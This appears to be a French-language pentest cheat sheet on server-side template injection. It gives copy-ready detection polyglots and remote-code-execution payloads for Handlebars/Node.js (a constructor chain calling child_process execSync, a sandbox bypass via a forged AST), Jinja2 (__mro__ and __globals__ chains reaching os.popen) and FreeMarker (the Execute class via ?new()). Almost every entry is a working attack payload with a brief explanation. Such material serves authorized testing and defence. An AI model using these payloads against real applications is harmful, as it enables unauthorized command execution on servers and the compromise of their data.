Pentest Web

SSTI / Template Injection

Détection multi-moteurs et RCE, y compris le bypass du sandbox Handlebars par injection d'AST.

Détection

Copy command
{{7*7}} / ${7*7} / #{7*7} / <%= 7*7 %>

Description: Payload polyglotte classique : si un champ reflété affiche 49 au lieu du texte brut, le moteur de template évalue l'input. Le préfixe utilisé identifie souvent le moteur (Handlebars/Jinja2 = {{}}, ERB = <%= %>, Freemarker/Thymeleaf = ${}, Ruby Slim = #{}).

Copy command
{{constructor.constructor('return process')().mainModule.require('child_process').execSync('id')}}

Description: Test rapide côté Handlebars/JS : si le sandbox n'intercepte pas l'accès à constructor, RCE directe sans passer par un AST forgé.

Handlebars : bypass du sandbox par injection d'AST

Copy command
# endpoint JSON qui accepte le message en tant qu'objet, pas juste une string -> remplacer par un AST Handlebars forgé

Description: Quand le champ vulnérable passe par une API JSON (pas un simple formulaire texte), le sandbox de compilation Handlebars peut être contourné en soumettant directement l'AST compilé plutôt que la source à parser. Le NumberLiteral.value est concaténé brut dans le code JS généré, permettant d'y injecter n'importe quelle expression.

Copy command
process.mainModule.require('child_process').execSync(cmd)

Description: process.getBuiltinModule() (PoC publics récents) n'existe pas sur les versions Node plus anciennes : process.mainModule.require() est le fallback qui fonctionne largement en arrière.

Copy command
# reflète execSync(cmd).toString() dans le rendu de la page plutôt qu'un reverse shell

Description: RCE 'semi-interactive' sans jamais ouvrir de listener : le résultat de la commande est directement visible dans la réponse HTTP suivante, pratique quand l'egress est filtré ou juste pour itérer plus vite.

Autres moteurs

Copy command
{{ ''.__class__.__mro__[1].__subclasses__() }} / {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Description: Jinja2 (Flask) : remonter la chaîne d'héritage Python jusqu'à une classe utile (subprocess.Popen) via __class__.__mro__ quand les builtins directs sont filtrés.

Copy command
<#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}

Description: FreeMarker : instancier Execute via ?new() pour exécuter des commandes système, technique classique sur les CMS Java (Confluence, etc.).